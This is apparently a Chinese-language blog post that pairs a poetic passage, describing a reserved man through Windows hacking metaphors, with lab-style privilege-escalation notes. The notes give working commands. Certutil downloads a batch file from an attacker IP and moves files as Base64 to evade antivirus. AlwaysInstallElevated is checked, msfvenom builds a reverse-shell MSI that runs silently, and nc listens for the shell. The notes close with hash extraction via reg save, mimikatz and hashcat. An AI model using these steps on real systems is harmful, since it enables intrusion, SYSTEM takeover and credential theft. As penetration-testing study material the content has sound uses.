他也是那種會用內建工具解決問題的人,從不大張旗鼓。
就像是 LOLBAS
,不需要額外安裝什麼,certutil 一出手,便能從他冰封的話語裡下載一行溫度。
他總說自己不會讓人隨便靠近,可我發現他的設定裡有 AlwaysInstallElevated,只要在對的地方丟進一個 MSI,就有機會開一點點門縫。
有時,他像一個還沒更新的憑證對話框,外表冷靜,裡面卻藏著能直接開啟 SYSTEM 權限的按鈕。
我假裝只是看看他的「發行者資訊」,卻已經在心裡運行了 cmd.exe。
他的日程表精確得像排程任務,每天九點回訊息,十點關機休息。
他偶爾會在描述欄裡留下無心的線索,一個笑話、一個密碼、一個不小心的情緒。
我用 Get-LocalUser 把它們全都讀出來,像是偷聽到他深夜沒人時的獨白。
而最致命的,是那顆被封存的虛擬硬碟。
成功掛載之後,裡面全是他的過去—
SAM、SYSTEM、SECURITY,全都攤開在我面前。
我可以破解它們,也可以就這麼靜靜地看著。
你說高冷嗎?
在別人眼裡是防火牆,在我眼裡只是信任邊界。
利用系統內建的 certutil 下載或轉換檔案,避免安裝額外工具。
使用 Certutil 傳輸檔案
一個經典的例子是 certutil.exe,它的原始用途是處理憑證,但也可以用來傳輸檔案,例如將檔案下載到本機磁碟,或是對檔案進行 Base64 編碼 or 解碼。
範例 — 下載檔案
PS C:\lab> certutil.exe -urlcache -split -f http://10.10.14.1:8080/shell_Test.bat shell_Test.bat
範例 — 編碼檔案
使用 Certutil 編碼檔案。
我們可以在 Windows 攻擊主機上使用 -encode 參數,將檔案轉成 Base64 編碼,然後將編碼內容複製到目標系統的新檔案中。
C:\lab> certutil -encode secret.txt secret_base64.txt
範例 — 解碼檔案
使用 Certutil 解碼檔案。
在目標系統上建立好編碼檔案後,可以使用 -decode 參數,將它解碼回原始檔案內容。
C:\lab> certutil -decode secret_base64.txt secret.txt
繞過防毒、減少可疑痕跡。
當 AlwaysInstallElevated(HKCU 與 HKLM)皆設為 1 時,使用者可用 MSI 安裝程式以 SYSTEM 權限執行。
檢查使用者層級設定
PS C:\> reg query HKCU\Software\Policies\Microsoft\Windows\Installer
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
看到 0x1 !!
檢查系統層級設定
PS C:\> reg query HKLM\Software\Policies\Microsoft\Windows\Installer
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
看到 0x1 !!
產惡意檔案
msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.1 lport=9443 -f msi > aie.msi
我們可以將這個 MSI 檔案 上傳到目標主機
msiexec /i c:\users\lab\desktop\aie.msi /quiet /qn /norestart
監聽!
nc -lnvp 9443
本地提權取得 SYSTEM 權限。
若排程任務執行檔或腳本位於可寫資料夾,替換它即可在下次任務執行時提權。
透過系統自動化任務執行惡意程式。
利用 PowerShell 列出本機使用者帳號與狀態,找出潛在攻擊目標。
Get-LocalUser
後續針對高權限帳號進行攻擊。
離線存取 Windows 註冊檔,擷取 Hash 進行破解。
reg save、mimikatz、hashcat
取得帳號憑證並進行橫向移動。
# 沒什麼好說的,我不會提權。